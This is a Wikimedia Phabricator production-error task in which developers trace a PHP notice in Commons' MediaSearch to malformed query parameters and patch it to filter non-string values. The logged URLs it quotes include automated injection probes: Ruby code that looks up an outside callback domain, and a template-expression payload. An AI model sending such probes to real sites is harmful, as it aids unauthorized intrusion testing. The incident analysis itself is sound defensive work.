PHP Notice: Array to string conversion
Closed, ResolvedPublicPRODUCTION ERROR
Actions

Description

Error

mwversion: 1.38.0-wmf.12
reqId: dd64d044-234a-4520-b7e5-3087e2bb73ea
Find reqId in Logstash

normalized_message

[{reqId}] {exception_url}   PHP Notice: Array to string conversion

exception.trace

from /srv/mediawiki/php-1.38.0-wmf.12/includes/TemplateParser.php(168) : eval()'d code(33)
#0 /srv/mediawiki/php-1.38.0-wmf.12/includes/TemplateParser.php(168) : eval()'d code(33): MWExceptionHandler::handleError(integer, string, string, integer, array)
#1 /srv/mediawiki/php-1.38.0-wmf.12/vendor/zordius/lightncandy/src/Runtime.php(413): TemplateParser->{closure}(array, array)
#2 /srv/mediawiki/php-1.38.0-wmf.12/includes/TemplateParser.php(168) : eval()'d code(34): LightnCandy\Runtime::sec(array, array, NULL, array, boolean, Closure)
#3 /srv/mediawiki/php-1.38.0-wmf.12/includes/TemplateParser.php(286): TemplateParser->{closure}(array, array)
#4 /srv/mediawiki/php-1.38.0-wmf.12/extensions/MediaSearch/src/Special/SpecialMediaSearch.php(280): TemplateParser->processTemplate(string, array)
#5 /srv/mediawiki/php-1.38.0-wmf.12/includes/specialpage/SpecialPage.php(647): MediaWiki\Extension\MediaSearch\Special\SpecialMediaSearch->execute(NULL)
#6 /srv/mediawiki/php-1.38.0-wmf.12/includes/specialpage/SpecialPageFactory.php(1377): SpecialPage->run(NULL)
#7 /srv/mediawiki/php-1.38.0-wmf.12/includes/MediaWiki.php(314): MediaWiki\SpecialPage\SpecialPageFactory->executePath(string, RequestContext)
#8 /srv/mediawiki/php-1.38.0-wmf.12/includes/MediaWiki.php(903): MediaWiki->performRequest()
#9 /srv/mediawiki/php-1.38.0-wmf.12/includes/MediaWiki.php(563): MediaWiki->main()
#10 /srv/mediawiki/php-1.38.0-wmf.12/index.php(53): MediaWiki->run()
#11 /srv/mediawiki/php-1.38.0-wmf.12/index.php(46): wfIndexMain()
#12 /srv/mediawiki/w/index.php(3): require(string)
#13 {main}

Impact

The trace is redacted for some reason but refers to extensions/MediaSearch. Some template processing result in PHP Notice: Array to string conversion.

Notes

Details

Request URL: https://commons.wikimedia.org/w/index.php?continue%5B%5D=*&fulltext=*&search=*&title=*&type=*

Subject	Repo	Branch	Lines +/-
Filter out non-string keys/values from query string before using	mediawiki/extensions/MediaSearch	wmf/1.38.0-wmf.12	+28 -23
Filter out non-string keys/values from query string before using	mediawiki/extensions/MediaSearch	master	+28 -23
Filter out non-string keys/values from query string before using	mediawiki/extensions/MediaSearch	wmf/1.38.0-wmf.13	+28 -23

Customize query in gerrit

Related Objects
Search...

		Status	Subtype	Assigned	Task
		Resolved	Release	hashar	T293954 1.38.0-wmf.13 deployment blockers
		Resolved	PRODUCTION ERROR	Etonkovidova	T297828 PHP Notice: Array to string conversion

Event Timeline

hashar created this task.Dec 15 2021, 8:36 PM

Restricted Application added a project: Structured-Data-Backlog. · View Herald TranscriptDec 15 2021, 8:36 PM

Restricted Application added a subscriber: Aklapper. · View Herald Transcript

hashar triaged this task as Unbreak Now! priority.Dec 15 2021, 8:36 PM

hashar added a parent task: T293954: 1.38.0-wmf.13 deployment blockers.

egardner updated the task description. (Show Details)Dec 15 2021, 8:58 PM

Zabe subscribed.Dec 15 2021, 9:00 PM

I added the trace back in, because it didn't seem like anything sensitive was contained there.

This is coming from the code that renders a mustache template in PHP for the server-rendered results page. Which is strange because that was not part of any of the recent work that was done in terms of Vue 3 migration (all of that happened on the JS side).

Also, I see in the stack trace that this error was happening inside of the wmf.12 code as opposed to wmf.13 which we were trying to roll out. Why is that?

Ok, I think the immediate culprit here is that the URL params are broken:

index.php?continue[]=40&fulltext=Search&search=the&title=Special:MediaSearch&type=image

continue[]=40 should just be continue=40. But where is the malformed URL coming from?

@hashar I believe this error is the result of bad URL params being provided as part of the web request. In the error logs, all the errors have request URLs that look like the following:

/w/index.php?continue=40&fulltext[]=Search&search=the&title=Special:MediaSearch&type=image
/w/index.php?'%2B'A'.concat(70-3).concat(22*4).concat(119).concat(66).concat(122).concat(72)%2B(require'socket'%0ASocket.gethostbyname('hitrk'%2B'wqoojgdj17559.bxss.me.')[3].to_s)%2B'&search=the&title=Special:MediaSearch
/w/index.php?"}acx[[%24{98991*97996}]]xca&search=the&title=Special:MediaSearch

The search term is often just "the" and the URL params contain what looks like PHP or JS code. Are these malicious requests or some kind of DDOS attempt? They don't look like normal user traffic at any rate.

To my knowledge there has been no recent change in any of the MediaSearch PHP code that deals with handling request params, etc. And indeed, these kinds of params produce errors in my local MediaSearch instance even if I rewind back several months in the git history; bad requests like the first one have always raised PHP warnings.

I don't think that MediaSearch is the origin of this error. Recently another change was back-ported to commons that had to do with how site-wide searches are handled (directing these queries to mediasearch instead of Special:Search) – see https://phabricator.wikimedia.org/T297484. I wonder if this change has anything to do with the spike in errors of this sort?

The stack trace is from wmf.12, so this looks like a pre-existing issue. The logstash entry is timestamped 19:57 UTC, which is before wmf.13 was ever rolled out to Commons (at 20:04 UTC; rolled back at 20:46 UTC). It's also only a notice, not an error. For those reasons I think this should not be a wmf.13 blocker.

It looks like the root cause here is that the code in SpecialMediaSearch.php that invokes the Mustache template is too trusting of the data that came from the request, and doesn't verify that it's passing in variables of the right type. Somewhere an array is passed in where a string was expected, probably because a request parameter was unexpectedly an array instead of a string.

Change 747644 had a related patch set uploaded (by Eric Gardner; author: Eric Gardner):

[mediawiki/extensions/MediaSearch@master] Filter out non-string keys/values from query string before using

https://gerrit.wikimedia.org/r/747644

gerritbot added a project: Patch-For-Review.Dec 16 2021, 12:21 AM

Change 747644 merged by jenkins-bot:

[mediawiki/extensions/MediaSearch@master] Filter out non-string keys/values from query string before using

https://gerrit.wikimedia.org/r/747644

Change 747690 had a related patch set uploaded (by Lucas Werkmeister (WMDE); author: Eric Gardner):

[mediawiki/extensions/MediaSearch@wmf/1.38.0-wmf.13] Filter out non-string keys/values from query string before using

https://gerrit.wikimedia.org/r/747690

ReleaseTaggerBot added a project: MW-1.38-notes (1.38.0-wmf.16; 2022-01-03).Dec 16 2021, 11:00 AM

Agusbou2015 subscribed.Dec 16 2021, 2:27 PM

There were a few other logs showing strange search terms as well, so maybe that is scanning robot injecting all those and that end up surfacing a preexisting issue. Thank you @egardner @Catrope for the quick analysis.

Change 747690 merged by jenkins-bot:

[mediawiki/extensions/MediaSearch@wmf/1.38.0-wmf.13] Filter out non-string keys/values from query string before using

https://gerrit.wikimedia.org/r/747690

Mentioned in SAL (#wikimedia-operations) [2021-12-16T16:25:14Z] <lucaswerkmeister-wmde@deploy1002> Synchronized php-1.38.0-wmf.13/extensions/MediaSearch/: Backport: [[gerrit:747690|Filter out non-string keys/values from query string before using (T297828)]] (duration: 01m 06s)

Change 747702 had a related patch set uploaded (by Lucas Werkmeister (WMDE); author: Eric Gardner):

[mediawiki/extensions/MediaSearch@wmf/1.38.0-wmf.12] Filter out non-string keys/values from query string before using

https://gerrit.wikimedia.org/r/747702

Should be fixed on wmf.13 (i.e. Test Commons); I don’t know if I’ll be able to deploy the wmf.12 backport I just uploaded, if it doesn’t happen within ~40 minutes then anyone else can feel free to take that over.

Removing UBN since this should no longer block the train, if I’m not mistaken.

ReleaseTaggerBot edited projects, added MW-1.38-notes (1.38.0-wmf.13; 2021-12-13); removed MW-1.38-notes (1.38.0-wmf.16; 2022-01-03).Dec 16 2021, 5:00 PM

Moving this to "Verify on Production" on the Structured Data board in the hope that we can confirm these errors are no longer spiking and close this task.

I have promoted group 1 at 18:00 UTC and the rest of the wikis at 20:20 UTC

hashar mentioned this in T293954: 1.38.0-wmf.13 deployment blockers.Dec 16 2021, 8:51 PM

I've been keeping an eye on the error logs and I'm not seeing any occurrences of this warning after 18:00 UTC.

Checked commons wmf.13 - https://logstash.wikimedia.org/goto/0d3e88545269a92b2162ff28a532e74f lists 18 errors (five are from test-commons).

egardner mentioned this in T297967: Figure out a better solution for parsing & handling URL params for Special:MediaSearch in PHP.Dec 17 2021, 5:55 PM

Closing as Resolved - the error rate is low:

Screen Shot 2021-12-21 at 11.29.26 AM.png (908×2 px, 223 KB)

The last timestamp - Dec 18, 2021 @ 14:07:40.999. There were only 6 errors since Dec 16/2021, and all on dewiki.

Change 747702 abandoned by Cparle:

[mediawiki/extensions/MediaSearch@wmf/1.38.0-wmf.12] Filter out non-string keys/values from query string before using

Reason:

We're now on wmf.16, so this is no longer relevant

https://gerrit.wikimedia.org/r/747702

Maintenance_bot removed a project: Patch-For-Review.Jan 6 2022, 12:10 PM

Krinkle moved this task from Untriaged to Dec 2021 on the Wikimedia-production-error board.Jan 13 2022, 6:52 PM

	F34891957: Screen Shot 2021-12-21 at 11.29.26 AM.png
	Dec 21 2021, 7:33 PM

PHP Notice: Array to string conversionClosed, ResolvedPublicPRODUCTION ERRORActions